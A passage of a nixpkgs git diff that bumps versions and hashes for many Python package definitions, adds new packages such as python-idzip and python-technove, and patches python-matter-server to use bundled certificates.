hash = "sha256-LpxXTzUb+N15lGno3pAhRSEJCb4NmwBcGQ/PshI9gYA="; }; postPatch = '' diff --git a/pkgs/development/python-modules/python-idzip/default.nix b/pkgs/development/python-modules/python-idzip/default.nix new file mode 100644 index 0000000000000..6c64bb6c257e6 --- /dev/null +++ b/pkgs/development/python-modules/python-idzip/default.nix @@ -0,0 +1,69 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, fetchpatch + +, pythonOlder + +, setuptools + +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "python-idzip"; + version = "0.3.9"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "bauman"; + repo = "python-idzip"; + rev = "refs/tags/${version}"; + hash = "sha256-ChzwC/Afn0qeo5anq4anIu2eI9i6XDnSvB7jAwY7rSw="; + }; + + patches = [ + # fix collision + # https://github.com/bauman/python-idzip/pull/23 + (fetchpatch { + name = "fix-bin-folder-collisions.patch"; + url = "https://patch-diff.githubusercontent.com/raw/bauman/python-idzip/pull/23.patch"; + hash = "sha256-4fPhLdY9MaH1aX6tqMT+NNNNDsyv87G0xBh4MC+5yQE="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + disabledTestPaths = [ + # need third-party files + # https://github.com/bauman/python-idzip/blob/master/.github/workflows/test.yaml#L2https://github.com/bauman/python-idzip/blob/master/.github/workflows/test.yaml#L288 + "test/test_compressor.py" + "test/test_decompressor.py" + "test/test_lucky_cache.py" + "test/test_readline.py" + "test/test_seek_read_behavior.py" + "test/test_zero_cache.py" + ]; + + disabledTests = [ + # Terminated + # pop_var_context: head of shell_variables not a function context + "test_bufferedio_compat" + ]; + + meta = with lib; { + description = "Seekable, gzip compatible, compression format"; + homepage = "https://github.com/bauman/python-idzip"; + changelog = "https://github.com/bauman/python-idzip/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ vizid ]; + }; +} diff --git a/pkgs/development/python-modules/python-ipmi/default.nix b/pkgs/development/python-modules/python-ipmi/default.nix index 1f65e5b6e3cc6..b6ded2ff8c2cf 100644 --- a/pkgs/development/python-modules/python-ipmi/default.nix +++ b/pkgs/development/python-modules/python-ipmi/default.nix @@ -3,37 +3,40 @@ , fetchFromGitHub , future , mock -, nose , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "python-ipmi"; - version = "0.5.4"; - format = "setuptools"; + version = "0.5.5"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchFromGitHub { owner = "kontron"; - repo = pname; + repo = "python-ipmi"; rev = "refs/tags/${version}"; - hash = "sha256-IXEq3d1nXGEndciQw2MJ1Abc0vmEYez+k6aWGSWEzWA="; + hash = "sha256-G5FcFHtyN8bXMjj/yfJgzcfmV1mxQ9lu3GM3XMeTWVU="; }; postPatch = '' substituteInPlace setup.py \ - --replace "version=version," "version='${version}'," + --replace-fail "version=version," "version='${version}'," ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ future ]; nativeCheckInputs = [ mock - nose pytestCheckHook ]; diff --git a/pkgs/development/python-modules/python-ironicclient/default.nix b/pkgs/development/python-modules/python-ironicclient/default.nix index 10af09c067201..5839498bbe96d 100644 --- a/pkgs/development/python-modules/python-ironicclient/default.nix +++ b/pkgs/development/python-modules/python-ironicclient/default.nix @@ -20,12 +20,12 @@ buildPythonPackage rec { pname = "python-ironicclient"; - version = "5.4.0"; + version = "5.5.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-Q9yGuYf9TS7RCo9aV1hnNSrHoll7AOUiSpzRYxi+JXU="; + hash = "sha256-JlO487QSPsBJZqPYRhsQYFA7noIN2q/stH4eZXAFLnY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-keystoneclient/default.nix b/pkgs/development/python-modules/python-keystoneclient/default.nix index 74ef6316e23c5..81d3d3d217a72 100644 --- a/pkgs/development/python-modules/python-keystoneclient/default.nix +++ b/pkgs/development/python-modules/python-keystoneclient/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "python-keystoneclient"; - version = "5.3.0"; + version = "5.4.0"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-vF53GfQVZCXex311w6eZGOPQtRk3ihbY1++ohJ5MKnk="; + hash = "sha256-srS9vp2vews1O4gHZy7u0B+H3QO0+LQtDQYbCbiTH0E="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-lsp-ruff/default.nix b/pkgs/development/python-modules/python-lsp-ruff/default.nix index a8e4af984de34..695574698e134 100644 --- a/pkgs/development/python-modules/python-lsp-ruff/default.nix +++ b/pkgs/development/python-modules/python-lsp-ruff/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "python-lsp-ruff"; - version = "2.1.0"; + version = "2.2.0"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit version; pname = "python-lsp-ruff"; - hash = "sha256-uvTSmoY9rVGEruxY20wOPVgR2JTBDzbn5S7ccDz3zBU="; + hash = "sha256-Z8FAZ/drw9Fr1Uc6V04NezvUItcjti0rKoM1borwUds="; }; postPatch = '' diff --git a/pkgs/development/python-modules/python-manilaclient/default.nix b/pkgs/development/python-modules/python-manilaclient/default.nix index 3a6648373fb1a..4a79b823ef05a 100644 --- a/pkgs/development/python-modules/python-manilaclient/default.nix +++ b/pkgs/development/python-modules/python-manilaclient/default.nix @@ -22,12 +22,12 @@ buildPythonPackage rec { pname = "python-manilaclient"; - version = "4.7.0"; + version = "4.8.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-blkE+pLzZQ8BCHAmk6yNjzqbBAlK2ab1FySGFB/kN2c="; + hash = "sha256-TwvDtbYGkDZFIsr0GgwD2R0Il7pV2GCuDw3OZXxDXso="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/python-matter-server/default.nix b/pkgs/development/python-modules/python-matter-server/default.nix index 570ee23fcbf43..a451aed79092c 100644 --- a/pkgs/development/python-modules/python-matter-server/default.nix +++ b/pkgs/development/python-modules/python-matter-server/default.nix @@ -2,9 +2,12 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, stdenvNoCC +, substituteAll # build , setuptools +, pythonRelaxDepsHook # propagates , aiohttp @@ -27,9 +30,32 @@ , pytestCheckHook }: +let + paaCerts = stdenvNoCC.mkDerivation rec { + pname = "matter-server-paa-certificates"; + version = "1.2.0.1"; + + src = fetchFromGitHub { + owner = "project-chip"; + repo = "connectedhomeip"; + rev = "refs/tags/v${version}"; + hash = "sha256-p3P0n5oKRasYz386K2bhN3QVfN6oFndFIUWLEUWB0ss="; + }; + + installPhase = '' + runHook preInstall + + mkdir -p $out + cp $src/credentials/development/paa-root-certs/* $out/ + + runHook postInstall + ''; + }; +in + buildPythonPackage rec { pname = "python-matter-server"; - version = "5.5.3"; + version = "5.8.1"; format = "pyproject"; disabled = pythonOlder "3.10"; @@ -38,16 +64,29 @@ buildPythonPackage rec { owner = "home-assistant-libs"; repo = "python-matter-server"; rev = "refs/tags/${version}"; - hash = "sha256-8daAABR5l8ZEX+PR4XrxRHlLllgnOVE4Q9yY/7UQXHw="; + hash = "sha256-iisDEopaKklLvvGDTo2fv0Fpkhuhd+7KoNnQA+QmjB8="; }; + patches = [ + (substituteAll { + src = ./link-paa-root-certs.patch; + paacerts = paaCerts; + }) + ]; + postPatch = '' substituteInPlace pyproject.toml \ - --replace 'version = "0.0.0"' 'version = "${version}"' + --replace 'version = "0.0.0"' 'version = "${version}"' \ + --replace '--cov' "" ''; nativeBuildInputs = [ setuptools + pythonRelaxDepsHook + ]; + + pythonRelaxDeps = [ + "home-assistant-chip-clusters" ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-matter-server/link-paa-root-certs.patch b/pkgs/development/python-modules/python-matter-server/link-paa-root-certs.patch new file mode 100644 index 0000000000000..217fe42339eca --- /dev/null +++ b/pkgs/development/python-modules/python-matter-server/link-paa-root-certs.patch @@ -0,0 +1,45 @@ +diff --git a/matter_server/server/const.py b/matter_server/server/const.py +index 2a6140b..275353a 100644 +--- a/matter_server/server/const.py ++++ b/matter_server/server/const.py +@@ -15,7 +15,8 @@ DATA_MODEL_SCHEMA_VERSION = 6 + # and always uses the development subfolder + # regardless of anything you pass into instantiating the controller + # revisit this once matter 1.1 is released +-PAA_ROOT_CERTS_DIR: Final[pathlib.Path] = ( ++PAA_ROOT_CERTS_DIR: Final[pathlib.Path] = pathlib.Path("@paacerts@") ++( + pathlib.Path(__file__) + .parent.resolve() + .parent.resolve() +diff --git a/matter_server/server/helpers/paa_certificates.py b/matter_server/server/helpers/paa_certificates.py +index d186be1..d2cef54 100644 +--- a/matter_server/server/helpers/paa_certificates.py ++++ b/matter_server/server/helpers/paa_certificates.py +@@ -62,6 +62,8 @@ async def fetch_dcl_certificates( + fetch_production_certificates: bool = True, + ) -> int: + """Fetch DCL PAA Certificates.""" ++ return 0 ++ + LOGGER.info("Fetching the latest PAA root certificates from DCL.") + fetch_count: int = 0 + base_urls = set() +@@ -121,6 +123,8 @@ async def fetch_dcl_certificates( + + async def fetch_git_certificates() -> int: + """Fetch Git PAA Certificates.""" ++ return 0 ++ + fetch_count = 0 + LOGGER.info("Fetching the latest PAA root certificates from Git.") + +@@ -162,6 +166,8 @@ async def fetch_certificates( + fetch_production_certificates: bool = True, + ) -> int: + """Fetch PAA Certificates.""" ++ return 0 ++ + loop = asyncio.get_running_loop() + + if not PAA_ROOT_CERTS_DIR.is_dir(): diff --git a/pkgs/development/python-modules/python-multipart/default.nix b/pkgs/development/python-modules/python-multipart/default.nix index 3c04398e56d48..f65beeed10d56 100644 --- a/pkgs/development/python-modules/python-multipart/default.nix +++ b/pkgs/development/python-modules/python-multipart/default.nix @@ -6,17 +6,24 @@ , mock , pyyaml , six + +# for passthru.tests +, asgi-csrf +, connexion +, fastapi +, gradio +, starlette }: buildPythonPackage rec { pname = "python-multipart"; - version = "0.0.6"; - format = "pyproject"; + version = "0.0.9"; + pyproject = true; src = fetchPypi { pname = "python_multipart"; inherit version; - hash = "sha256-6ZJagLtmhSnxtnx/2wpdrN18v8b7C/8+pEP+Ir3WITI="; + hash = "sha256-A/VGiMZj8beXcQXwIQQ7B5MVHkyxwanUoR/BPWIsQCY="; }; nativeBuildInputs = [ @@ -31,22 +38,26 @@ buildPythonPackage rec { "multipart" ]; - preCheck = '' - # https://github.com/andrew-d/python-multipart/issues/41 - substituteInPlace multipart/tests/test_multipart.py \ - --replace "yaml.load" "yaml.safe_load" - ''; - nativeCheckInputs = [ pytestCheckHook mock pyyaml ]; + passthru.tests = { + inherit + asgi-csrf + connexion + fastapi + gradio + starlette + ; + }; + meta = with lib; { description = "A streaming multipart parser for Python"; homepage = "https://github.com/andrew-d/python-multipart"; license = licenses.asl20; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ ris ]; }; } diff --git a/pkgs/development/python-modules/python-novaclient/default.nix b/pkgs/development/python-modules/python-novaclient/default.nix index 1bad0f4e69306..866e4cb097ecf 100644 --- a/pkgs/development/python-modules/python-novaclient/default.nix +++ b/pkgs/development/python-modules/python-novaclient/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "python-novaclient"; - version = "18.4.0"; + version = "18.5.0"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-a2tq4sEescEI469V6qchGw/JGZk1oimmuj4N5RTBK1A="; + hash = "sha256-4j7kQMDI6uK1OvqIHTCsrsBof8660kY5HsKblsVDA40="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-openstackclient/default.nix b/pkgs/development/python-modules/python-openstackclient/default.nix index ef8c7cb59faef..79306e4d11abf 100644 --- a/pkgs/development/python-modules/python-openstackclient/default.nix +++ b/pkgs/development/python-modules/python-openstackclient/default.nix @@ -11,6 +11,7 @@ , python-novaclient , requests-mock , sphinx +, sphinxcontrib-apidoc , stestr }: @@ -28,6 +29,7 @@ buildPythonPackage rec { installShellFiles openstackdocstheme sphinx + sphinxcontrib-apidoc ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-rapidjson/default.nix b/pkgs/development/python-modules/python-rapidjson/default.nix index c131a3b0c0eb9..6c6aea0f161cd 100644 --- a/pkgs/development/python-modules/python-rapidjson/default.nix +++ b/pkgs/development/python-modules/python-rapidjson/default.nix @@ -6,7 +6,8 @@ , rapidjson , pytestCheckHook , pytz -, glibcLocales +, setuptools +, substituteAll }: let @@ -25,25 +26,30 @@ let hash = "sha256-BjSZEwfCXA/9V+kxQ/2JPWbc26jQn35CfN8+8NW24s4="; }) ]; - # valgrind_unittest failed - cmakeFlags = old.cmakeFlags ++ [ "-DCMAKE_CTEST_ARGUMENTS=-E;valgrind_unittest" ]; }); in buildPythonPackage rec { - version = "1.14"; + version = "1.16"; pname = "python-rapidjson"; disabled = pythonOlder "3.8"; - format = "setuptools"; + pyproject = true; src = fetchFromGitHub { owner = "python-rapidjson"; repo = "python-rapidjson"; rev = "refs/tags/v${version}"; - hash = "sha256-fCC6jYUIB89HlEnbsmL0MeCBOO4NAZtePuPgZKYxoM8="; + hash = "sha256-4Z8cNu6tK5/yAu6b9Vb/EdXQj+fQgeT0QIszTEUurVM="; }; - setupPyBuildFlags = [ - "--rj-include-dir=${lib.getDev rapidjson'}/include" + patches = [ + (substituteAll { + src = ./rapidjson-include-dir.patch; + rapidjson = lib.getDev rapidjson'; + }) + ]; + + nativeBuildInputs = [ + setuptools ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/python-rapidjson/rapidjson-include-dir.patch b/pkgs/development/python-modules/python-rapidjson/rapidjson-include-dir.patch new file mode 100644 index 0000000000000..da15fec61ac6c --- /dev/null +++ b/pkgs/development/python-modules/python-rapidjson/rapidjson-include-dir.patch @@ -0,0 +1,25 @@ +diff --git a/setup.py b/setup.py +index e86b1b2..9d34d0d 100644 +--- a/setup.py ++++ b/setup.py +@@ -29,19 +29,7 @@ if sys.version_info < (3, 6): + + ROOT_PATH = os.path.abspath(os.path.dirname(__file__)) + +-rj_include_dir = './rapidjson/include' +- +-for idx, arg in enumerate(sys.argv[:]): +- if arg.startswith('--rj-include-dir='): +- sys.argv.pop(idx) +- rj_include_dir = arg.split('=', 1)[1] +- break +-else: +- if not os.path.isdir(os.path.join(ROOT_PATH, 'rapidjson', 'include')): +- raise RuntimeError("RapidJSON sources not found: if you cloned the git" +- " repository, you should initialize the rapidjson submodule" +- " as explained in the README.rst; in all other cases you may" +- " want to report the issue.") ++rj_include_dir = '@rapidjson@/include' + + with open('version.txt', encoding='utf-8') as f: + VERSION = f.read() diff --git a/pkgs/development/python-modules/python-roborock/default.nix b/pkgs/development/python-modules/python-roborock/default.nix index 1346e9b35b7a2..ec103fc421a4d 100644 --- a/pkgs/development/python-modules/python-roborock/default.nix +++ b/pkgs/development/python-modules/python-roborock/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "python-roborock"; - version = "0.39.1"; + version = "0.40.0"; pyproject = true; disabled = pythonOlder "3.10"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "humbertogontijo"; repo = "python-roborock"; rev = "refs/tags/v${version}"; - hash = "sha256-iFLzrjbCwBuV9RQSHoP5LOG0PIPjiTMCpvk3wqGtMgk="; + hash = "sha256-H4xwgulNLs3R1Q5GhvQffpAZ1CWXZUJAja8BskW+YJk="; }; postPatch = '' diff --git a/pkgs/development/python-modules/python-socketio/default.nix b/pkgs/development/python-modules/python-socketio/default.nix index f8e189f4bd8cc..bf6ce265e016b 100644 --- a/pkgs/development/python-modules/python-socketio/default.nix +++ b/pkgs/development/python-modules/python-socketio/default.nix @@ -25,7 +25,7 @@ buildPythonPackage rec { pname = "python-socketio"; - version = "5.10.0"; + version = "5.11.1"; pyproject = true; disabled = pythonOlder "3.6"; @@ -34,7 +34,7 @@ buildPythonPackage rec { owner = "miguelgrinberg"; repo = "python-socketio"; rev = "refs/tags/v${version}"; - hash = "sha256-nlzTzIswMRjvJ9l9TOtVvRvbKlQPvNH0/P1NIbQCmy8="; + hash = "sha256-miIl/+3JtjtoQaS6Jy0M9lPQJQp3VlpvrO5Hqlrq5JM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/python-swiftclient/default.nix b/pkgs/development/python-modules/python-swiftclient/default.nix index e34bad425b3cc..8c0239e2bc506 100644 --- a/pkgs/development/python-modules/python-swiftclient/default.nix +++ b/pkgs/development/python-modules/python-swiftclient/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "python-swiftclient"; - version = "4.4.0"; + version = "4.5.0"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-p32Xqw5AEsZ4cy5XW9/u0oKzSJuRdegsRqR6yEke7oQ="; + hash = "sha256-8qCIflo5KXq8BDJRrj+QiRTOFEei+NLcpWcWGGCBQr0="; }; # remove duplicate script that will be created by setuptools from the diff --git a/pkgs/development/python-modules/python-technove/default.nix b/pkgs/development/python-modules/python-technove/default.nix new file mode 100644 index 0000000000000..795ddf5b1236c --- /dev/null +++ b/pkgs/development/python-modules/python-technove/default.nix @@ -0,0 +1,64 @@ +{ lib +, aiohttp +, aresponses +, awesomeversion +, backoff +, buildPythonPackage +, cachetools +, fetchFromGitHub +, poetry-core +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, yarl +}: + +buildPythonPackage rec { + pname = "python-technove"; + version = "1.2.2"; + pyproject = true; + + disabled = pythonOlder "3.11"; + + src = fetchFromGitHub { + owner = "Moustachauve"; + repo = "pytechnove"; + rev = "refs/tags/v${version}"; + hash = "sha256-kc5jR0IM2OagvmtqhicnBbrwrdk3E/iJhRIgUtKoirI="; + }; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail "--cov" "" + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + aiohttp + awesomeversion + backoff + cachetools + yarl + ]; + + nativeCheckInputs = [ + aresponses + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "technove" + ]; + + meta = with lib; { + description = "Python library to interact with TechnoVE local device API"; + homepage = "https://github.com/Moustachauve/pytechnove"; + changelog = "https://github.com/Moustachauve/pytechnove/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/python-utils/default.nix b/pkgs/development/python-modules/python-utils/default.nix index 30803442d0815..6e2e3fe795108 100644 --- a/pkgs/development/python-modules/python-utils/default.nix +++ b/pkgs/development/python-modules/python-utils/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "python-utils"; - version = "3.8.1"; + version = "3.8.2"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "WoLpH"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-HoKdMDs67lsuVRb5d51wx6qyEjEM973yD6O6qMO+7MI="; + hash = "sha256-2scWyj0Fz39Thu0T0+UirT+he6tPYKGsvmYzzpD+/ls="; }; postPatch = '' diff --git a/pkgs/development/python-modules/python-vipaccess/default.nix b/pkgs/development/python-modules/python-vipaccess/default.nix index 94b1dbba5628f..24eefdce0fe6f 100644 --- a/pkgs/development/python-modules/python-vipaccess/default.nix +++ b/pkgs/development/python-modules/python-vipaccess/default.nix @@ -9,12 +9,12 @@ buildPythonPackage rec { pname = "python-vipaccess"; - version = "0.14.1"; + version = "0.14.2"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-vBFCRXwZ91C48GuOet2Obbo7gM02M2c9+7rhp0l6w54="; + hash = "sha256-TFSX8iL6ChaL3Fj+0VCHzafF/314Y/i0aTI809Qk5hU="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-youtube/default.nix b/pkgs/development/python-modules/python-youtube/default.nix index 7a0d04e979b0c..62987a03bc431 100644 --- a/pkgs/development/python-modules/python-youtube/default.nix +++ b/pkgs/development/python-modules/python-youtube/default.nix @@ -11,14 +11,14 @@ }: buildPythonPackage rec { pname = "python-youtube"; - version = "0.9.3"; + version = "0.9.4"; format = "pyproject"; src = fetchFromGitHub { owner = "sns-sdks"; repo = "python-youtube"; rev = "refs/tags/v${version}"; - hash = "sha256-vd+cbESypc/q7eSrERqkMvGhVMIfKMsoxPblPJwPiUg="; + hash = "sha256-OesJfnXI1w2d5moJyqvrWU3sCxDaqnk1bAhtK6SPjFw="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pytm/default.nix b/pkgs/development/python-modules/pytm/default.nix index be8f5089466ed..5f5722159a1cb 100644 --- a/pkgs/development/python-modules/pytm/default.nix +++ b/pkgs/development/python-modules/pytm/default.nix @@ -10,15 +10,15 @@ buildPythonPackage rec { pname = "pytm"; - version = "1.2.0"; + version = "1.3.0"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchFromGitHub { owner = "izar"; repo = pname; - rev = "v${version}"; - sha256 = "1bx4s9a5kdyr2xvpw0smmh7zi9w38891yfqzdj1bmnsjl57x6qrg"; + rev = "refs/tags/v${version}"; + sha256 = "sha256-R/MDz6lCvUxtn6IJ8STHlWzkSjnUJziO+oPnaYhrr7U="; }; propagatedBuildInputs = [ pydal graphviz pandoc plantuml ]; diff --git a/pkgs/development/python-modules/pytorch-lightning/default.nix b/pkgs/development/python-modules/pytorch-lightning/default.nix index fdced71d178a3..f7a50ce337fcd 100644 --- a/pkgs/development/python-modules/pytorch-lightning/default.nix +++ b/pkgs/development/python-modules/pytorch-lightning/default.nix @@ -20,14 +20,14 @@ buildPythonPackage rec { pname = "pytorch-lightning"; - version = "2.1.3"; + version = "2.2.1"; format = "pyproject"; src = fetchFromGitHub { owner = "Lightning-AI"; repo = "pytorch-lightning"; rev = "refs/tags/${version}"; - hash = "sha256-3ELx4ukYlmsWvzK+GxEXM/0xFPPcZZcMv566jOXfcMs="; + hash = "sha256-H2gbVCvGKbeHZVlvz6SmKI8Gzw649DxcwYgfGcehsmg="; }; preConfigure = '' diff --git a/pkgs/development/python-modules/pytraccar/default.nix b/pkgs/development/python-modules/pytraccar/default.nix index 6bd4c17f50ea3..3af3cb33e96d7 100644 --- a/pkgs/development/python-modules/pytraccar/default.nix +++ b/pkgs/development/python-modules/pytraccar/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "pytraccar"; - version = "2.0.0"; + version = "2.1.1"; pyproject = true; disabled = pythonOlder "3.11"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "ludeeus"; repo = "pytraccar"; rev = "refs/tags/${version}"; - hash = "sha256-7QGgI+DDYbordBx4LbtCvPWyEh6ur2RrSKMuDlwRlTo="; + hash = "sha256-WTRqYw66iD4bbb1aWJfBI67+DtE1FE4oiuUKpfVqypE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pytweening/default.nix b/pkgs/development/python-modules/pytweening/default.nix index 32a433cafbf12..1c7535f4405ef 100644 --- a/pkgs/development/python-modules/pytweening/default.nix +++ b/pkgs/development/python-modules/pytweening/default.nix @@ -4,12 +4,12 @@ }: buildPythonPackage rec { pname = "pytweening"; - version = "1.0.7"; + version = "1.2.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-dnE08b9Xt2wc6faS3Rz8d22aJ53mck6NBIVFCP1+3ts="; + hash = "sha256-JDMYt3NmmAZsXzYuxcK2Q07PQpfDyOfKqKv+avTKxxs="; }; pythonImportsCheck = [ "pytweening" ]; diff --git a/pkgs/development/python-modules/pytz/default.nix b/pkgs/development/python-modules/pytz/default.nix index 8d4bcfbb3c6f7..359c7c142d5e1 100644 --- a/pkgs/development/python-modules/pytz/default.nix +++ b/pkgs/development/python-modules/pytz/default.nix @@ -1,16 +1,24 @@ -{ lib, buildPythonPackage, fetchPypi, unittestCheckHook }: +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, unittestCheckHook +}: buildPythonPackage rec { pname = "pytz"; - version = "2023.3.post1"; - - format = "setuptools"; + version = "2024.1"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-e0/dvrlKHrpLVX2iTxn9+dtXUZJUQnCpEB2FCfn0PXs="; + hash = "sha256-KilzXqnBi68UtEiEa95aSAMO0mdXhHLYlVzQ50Q6mBI="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ unittestCheckHook ]; unittestFlagsArray = [ "-s" "pytz/tests" ]; @@ -18,6 +26,7 @@ buildPythonPackage rec { pythonImportsCheck = [ "pytz" ]; meta = with lib; { + changelog = "https://launchpad.net/pytz/+announcements"; description = "World timezone definitions, modern and historical"; homepage = "https://pythonhosted.org/pytz"; license = licenses.mit; diff --git a/pkgs/development/python-modules/pyunifiprotect/default.nix b/pkgs/development/python-modules/pyunifiprotect/default.nix index cc846a024d8e7..79b940d5be1d7 100644 --- a/pkgs/development/python-modules/pyunifiprotect/default.nix +++ b/pkgs/development/python-modules/pyunifiprotect/default.nix @@ -32,7 +32,7 @@ buildPythonPackage rec { pname = "pyunifiprotect"; - version = "4.23.3"; + version = "4.23.4"; pyproject = true; disabled = pythonOlder "3.9"; @@ -41,7 +41,7 @@ buildPythonPackage rec { owner = "briis"; repo = "pyunifiprotect"; rev = "refs/tags/v${version}"; - hash = "sha256-QWIiBuKDhSNYVyEm45QV4a2UxADDrBdiCBeJI+a6v7c="; + hash = "sha256-sBdu4XJkEtHf6dlHgJKFQvONp1x89NiS2EgxMiJFX7A="; }; env.SETUPTOOLS_SCM_PRETEND_VERSION = version; diff --git a/pkgs/development/python-modules/pyvlx/default.nix b/pkgs/development/python-modules/pyvlx/default.nix index f70b12e362518..263971e93321a 100644 --- a/pkgs/development/python-modules/pyvlx/default.nix +++ b/pkgs/development/python-modules/pyvlx/default.nix @@ -7,11 +7,12 @@ , pyyaml , setuptools , typing-extensions +, zeroconf }: buildPythonPackage rec { pname = "pyvlx"; - version = "0.2.21"; + version = "0.2.23"; pyproject = true; disabled = pythonOlder "3.10"; @@ -20,7 +21,7 @@ buildPythonPackage rec { owner = "Julius2342"; repo = "pyvlx"; rev = "refs/tags/${version}"; - hash = "sha256-t6lbpP9IwNhXpoZ9+0n9vKCuZ+azWqP7w5v0BfqbMcs="; + hash = "sha256-J+oJQHsULrJQNdZqYsl2hufNubMwV1KtG10jZH0jbU4="; }; nativeBuildInputs = [ @@ -30,6 +31,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ pyyaml typing-extensions + zeroconf ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/pyvo/default.nix b/pkgs/development/python-modules/pyvo/default.nix index c2058a374a31d..6ebabd1b73405 100644 --- a/pkgs/development/python-modules/pyvo/default.nix +++ b/pkgs/development/python-modules/pyvo/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "pyvo"; - version = "1.5"; + version = "1.5.1"; format = "setuptools"; disabled = pythonOlder "3.8"; # according to setup.cfg src = fetchPypi { inherit pname version; - hash = "sha256-heTWWyxmRaDlI9NHzZab5OLOBIbVdb45v67Rq5ckzc8="; + hash = "sha256-ByCBD+e3ZrpT0Q6dnkuyO8lnwVGm85LiKmy/4NRTpjI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/qbittorrent-api/default.nix b/pkgs/development/python-modules/qbittorrent-api/default.nix index 3bbbbedf1d22b..2c1cbc8d5164c 100644 --- a/pkgs/development/python-modules/qbittorrent-api/default.nix +++ b/pkgs/development/python-modules/qbittorrent-api/default.nix @@ -10,12 +10,12 @@ buildPythonPackage rec { pname = "qbittorrent-api"; - version = "2024.1.58"; + version = "2024.2.59"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-6JyU9mr0xfRLB7AJOcnPc+PpF0EWi/R/Wy3lCKanAmA="; + hash = "sha256-227vnOJmYcrbYd8MjTG8c82sf3awNOF/bxAby0JlSfA="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/qcodes-contrib-drivers/default.nix b/pkgs/development/python-modules/qcodes-contrib-drivers/default.nix index e26745e77566e..c50def28bc118 100644 --- a/pkgs/development/python-modules/qcodes-contrib-drivers/default.nix +++ b/pkgs/development/python-modules/qcodes-contrib-drivers/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "qcodes-contrib-drivers"; - version = "0.18.0"; + version = "0.21.0"; disabled = pythonOlder "3.8"; format = "pyproject"; @@ -21,8 +21,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "QCoDeS"; repo = "Qcodes_contrib_drivers"; - rev = "v${version}"; - sha256 = "sha256-hg3jSiuOkiuOInnUzzlKtBeoP5zkCDBQ3xP6KCwq+lU="; + rev = "refs/tags/v${version}"; + sha256 = "sha256-7WkG6Bq4J4PU4eWX52RaupQ8cNzE+sJ7s3PoXFRxG2w="; }; nativeBuildInputs = [ setuptools versioningit ]; diff --git a/pkgs/development/python-modules/qcodes/default.nix b/pkgs/development/python-modules/qcodes/default.nix index 72f04c72a8de3..740939959e764 100644 --- a/pkgs/development/python-modules/qcodes/default.nix +++ b/pkgs/development/python-modules/qcodes/default.nix @@ -119,6 +119,8 @@ buildPythonPackage rec { "-n" "$NIX_BUILD_CORES" # Follow upstream with settings + "-m 'not serial'" + "--hypothesis-profile ci" "--durations=20" ]; @@ -141,6 +143,11 @@ buildPythonPackage rec { "test_get_array_in_scalar_param_data" "test_get_parameter_data" "test_ramp_safely" + + # more flaky tests + # https://github.com/microsoft/Qcodes/issues/5551 + "test_query_close_once_at_init" + "test_step_ramp" ]; pythonImportsCheck = [ diff --git 